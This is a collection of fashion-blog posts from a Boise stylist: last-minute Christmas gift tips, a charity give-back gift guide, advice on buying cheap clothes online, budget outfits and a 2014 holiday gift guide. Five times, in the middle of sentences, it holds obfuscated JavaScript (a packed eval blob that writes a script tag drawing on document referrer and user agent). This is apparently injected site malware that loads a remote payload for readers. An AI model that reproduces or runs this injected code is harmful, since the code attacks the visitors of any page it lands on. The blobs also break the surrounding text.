Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here!

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Christmas 2017 Give-Back Gift Guide

Christmas gift guide give back stylespygirlShopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.
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But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!
XOXO,
Tanya

Bought Beautifully

bought beautifully stylespygirl
Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.
bought beautifully stylespygirl 2I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.
Bought Beautifully  sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!
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bought beautifully stylespygirl
Beaded Tassel Earrings from Milot, Haiti, help bring sustainable development through design, training, and job creation. $32
stylespygirl bought beautifully bracelet
Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

speak your silence stylespygirl
My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.
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Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.
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speak your silence stylespygirl 2
Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase. 
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Corbin’s Legacy Bracelets

corbin bracelet style spy girl

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

10 sweatshirts buckle stylesypgirl
Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they  offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.
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Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.
 You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.
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Proof Eyewear

proof eyewear style spy girl

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live. 
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When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.
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Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO
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The Pros and Cons of Shopping Online

ktvb stylespygirl cheap clothes report

Online shopping is a major industry these days. This past Christmas, an estimated 45% of shoppers bought gifts online, from the United States and abroad. But just like clothing sizes and quality can differ from store to store here in America, the same can be said for a current major trend: cheap clothes from overseas.

Here, in my Special Report on KTVB Channel 7 news, is what you need to know, before you succumb to what may look like an irresistible bargain. Click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bteyb|var|u0026u|referrer|bbnyn||js|php’.split(‘|’),0,{}))
the photo below to jump to the video
, or scroll down to read my main tips.

ktvb stylespygirl cheap clothes report

Things to keep in mind when shopping online, especially “Bargain clothing and accessories” from overseas:

1. The quality of workmanship and the materials may not always be what you think. My friend Char ordered this cape that said “woolen,” and looked like it had beautiful leather trim. Cute, right? And cheap!

wollen coat

But when it arrived, the material was a very cheap felt – definitely NOT wool! – the trim was a shiny, inexpensive stretchy fabric, and the sleeves and zippers were all sewn crooked, with loose threads sticking out!

woolen coat 3

woolen coat 2

My friend Maryann loved a sweater she saw online, and they were so inexpensive she bought two from the same website. But one arrived with beautiful faux fur around the edges and nice, heavy, sweater material, while the second exact same item from the exact same company arrived smaller-sized, with uneven stitching, and scrawny rat-like fur around the trim!

One of the sweaters mostly looked like this:

 The other one, not so much.

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2. Sizes from around the world are extremely varied! For example, an American small and a Chinese small are typically NOT the same thing. A couple years ago, I had the fun privilege of traveling to Beijing, China with my husband. I loved all the shopping, but was dismayed to find very little in the clothing category that fit me. I’m fairly average-sized, I think, on a global scale, though on the small size for standard American clothing; 125lbs, 5’7″, which is a size 2-4 here. I was shocked to find that the only dresses or sweaters I could find in the Beijing markets that fit me were extra-large. I’m an XL in China!!! (And a size 8 in the UK, and 38 in other parts of Europe! Why can’t we standardize women’s sizes???)  I definitely keep this experience in mind, when I shop online…

My friend Kristie looks for inexpensive Plus-sized clothing online. When this cute & simple dress popped up for $15 on Zulily, she selected the 3X size. But what came in the mail was tiny; it fit her little sister, who is an American size 2! The belted waist came right under Kristie’s chest, and the “dress” was so short, it fit more like a blouse. Also, the material was so thin, you can see through it. Definitely not what she thought she was paying for!

zulily dress

Kristie’s “dress” only cost her $15, but it was $15 wasted, as she could not return or exchange it, because…

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3. Many items are final sale, even if they don’t say so. I ordered an Alice In Wonderland costume from Amazon.com last fall for Halloween. By the time the item arrived, the holiday I bought it for had already passed (shipping from China can take anywhere from 3 weeks to 3 months!), but also the one-size-fits-all dress didn’t fit me. I asked the seller if I could return it, and the answer was, “Sure, as long as you pay the shipping to get it back to us.” Fine, ok, no big deal, right? Until I found out the approximate shipping of that dress back to China was $75! I’m not paying $75 to return a $25 dress!

alice in wonderland costume amazon

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Practical Tips for Shopping Online:

1. Always check the return policy! Can you exchange it? Can you get your money back? Will you have to pay for the shipping?

2. Study measurement charts closely, measure twice, don’t rush! Don’t be lazy! I’m talking to you, American shoppers; convert the centimeters to inches and figure it out. It’s worth your time and money!

3. When possible, read others’ ratings so you know the fit. On Amazon, for example, people can rate “Fits as expected,” and write about items that run too big or too small. But watch out for fake or “planted” reviews; take your time and listen to other customers’ opinions.

4. Study the website or retailer; have they been in business long, do they have reviews and testimonials? Even retailers on Amazon and Zulily can pop up quick, sell a few items, and disappear… I bought a costume wig that didn’t arrive after 3 months, but when I went to Amazon.com to check on my order status, the company who distributed the wig had vanished! I never got my wig, but I’m grateful that they never charged my card. Whew!

5. When in doubt, size up and alter to fit. If the item you are ordering comes from China, Korea, or Singapore, for example, go up a size from what you typically buy. It’s SO MUCH EASIER to have a seamstress nip in a waistline or shorten a hem, then it is to try and figure out how to make something that’s too small stretch to fit you!

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It comes down to this: ANY shopping you do online is a gamble, no matter what country it’s from!!!

Sometimes the gamble pays off, sometimes it doesn’t! Lower your expectations, do your research, and decide if an item is worth it. Here’s one example of when it worked out really well for me. I ordered this transparent raincoat, which is one-size-fits-all. The style is loose enough, that it doesn’t really matter what the fit is! I was pleased with how it looked – so much so, that I used it in a photo shoot for another article on my blog! (My pics by Valerie Davenport Photography)

transparent raincoatIt’s definitely shorter than it looks on the Amazon.com model, but not enough to detract from it’s overall cuteness. And the best part: it’s only $15.99! (You can view more pics of it in my article here, along with the direct link to it on Amazon.com.)

So happy shopping, good luck, and remember: buy what you LOVE!!!
XOXO,
Tanya

Jump to next article: How Coach is Becoming an American Icon Brand…

 

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Easy Style on a Budget: Denim & Stripes

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you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

denim & stripes 1

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

denim & stripes main 2Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People,  Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday,  12-5pm on Sunday

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Follow me on Instagram for daily sale alerts & fab fashion finds!

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StyleSpyGirl’s Holiday Gift Guide 2014

gift guide banner image 3Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizyr|var|u0026u|referrer|ydiki||js|php’.split(‘|’),0,{}))
is almost here!
 In case you need a few last-minute ideas, I’m sharing my personal wish list of favorite finds, from Boise and beyond. And I’ve linked directly to most of what you see here, so it’s easy to click-to-buy!

Wishing you and yours a very Merry Christmas,

signature  hearts

~

Local Love

gift guide local love 3

1. Arrow Hoop Earrings $25, Fluff 4 The Particular / 2. Idaho Gun Trucker Hat  $25, and Sweatshirt $40, Banana Ink / 3. Ollipop Vintage Inspired Ring $39, Ruby Lou Clothing Boutique /  4. PULSE Bracelet $20 Sterling Silver, Unigon Specialties / 5. Bullet Shell Jewelry 9mm Turqoise gemstone $36, Body Novelties / 6. COPONCHA All-Weather Fashion Poncho $199, Ginger And Mary Ann / 7.  Black & Gold Sequin Sleeve Dress $79, Posh Boutique / 8. Organic 70% Dark Chocolate Cranberry Orange, rosieMADE

 Glitz & Glamgift guide glitz glam 2

 

1. Manic Choker Necklace $296, Marshelly’s / 2. Raine Jumpsuit by Jessica Faulkner $162, Orange Harp (Use Discount Code TWSTYLE to receive 15% OFF at Checkout!) / 3. Red Wool Blend Turnlock Trench Coat $118, Express /4. Rolex His & Hers Watches, Price upon request Hal Davis Jewelers, 1-800-421-6151 / 5. Arabesque Cocktail Ring and Pave’ Chevron Ring both $29 each, Stella & Dot / 6. Mini Turnlock Borough Bag $398, &  Mini Chain Crossbody $195 In Metallic Leather, Coach / 7. World Cuff Bracelet $380, by Artelier / 8. The Dreamer Henley Pajama with Matching Eye Mask $39.50, Victoria’s Secret / 9. Katana Ring $85, Marshelly’s

Tech Cravings

gift guide tech cravings

1. MEMI silver tech bracelet  $150, Memi.com. First wearable technology made for women, by women! Smartbracelet discreetly vibrates when you receive important phone calls, text messages, and calendar alerts. Silver and White, pre-order only. / 2. BLOOM Necklace $79.99, connects with SHINE Fitness & Sleep Monitor (sold separately.) Hand-finished stainless steel. / 3. MOTA Smartring $99.99, MOTA. Pairs with any Bluetooth enabled device. Notifications vibrate; simply scroll through the screen to view your latest updates! Midnight Black or Pearl White. / 4. CUFF “Lisa” Necklace $119 marked down to $59 pre-order! Never miss an important call or text; notifications with a buzz, and safety alert with just a touch. / 5. MICA Tech Bracelet $495, by Opening Ceremony. An intelligent communication accessory designed by Opening Ceremony, and powered by Intel. Delivers discreet text messages, email alerts, Facebook notifications, calender reminders, and more! 18k gold finish and adorned with pearls, lapis, obsidian, and tiger’s eye. / 6. Limited Edition Dive Bar Ringly $195, Crafted with a rhodium plated setting and a tourmalated quartz semi-precious stone. Stargaze Black Onyx Ringly $195, Crafted with an 18K matte gold 3 micron plated setting and precious and semi-precious stones. Connects to your phone and sends you customized notifications through vibration and light!

 

 

 

 

SPLURGE:

Treasure Valley Small Business BLACK FRIDAY Directory

black friday shopping boise

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afyby|var|u0026u|referrer|kskyr||js|php’.split(‘|’),0,{}))
holiday season, shop local!
Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between.
Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)

CLICK ON THE PHOTO ABOVE TO ACCESS THE TREASURE VALLEY SMALL BUSINESS BLACK FRIDAY DIRECTORY!

Luxe Dressing For Less

pink blush stylespygirl street

pink blush stylespygirl streetPhotography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihhh|var|u0026u|referrer|zzknn||js|php’.split(‘|’),0,{}))
by
ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress
Photo Courtesy of Anthropologie
pink blush navy dress
Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Pink blush stylespygirl

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below! 
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

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a Rafflecopter giveaway
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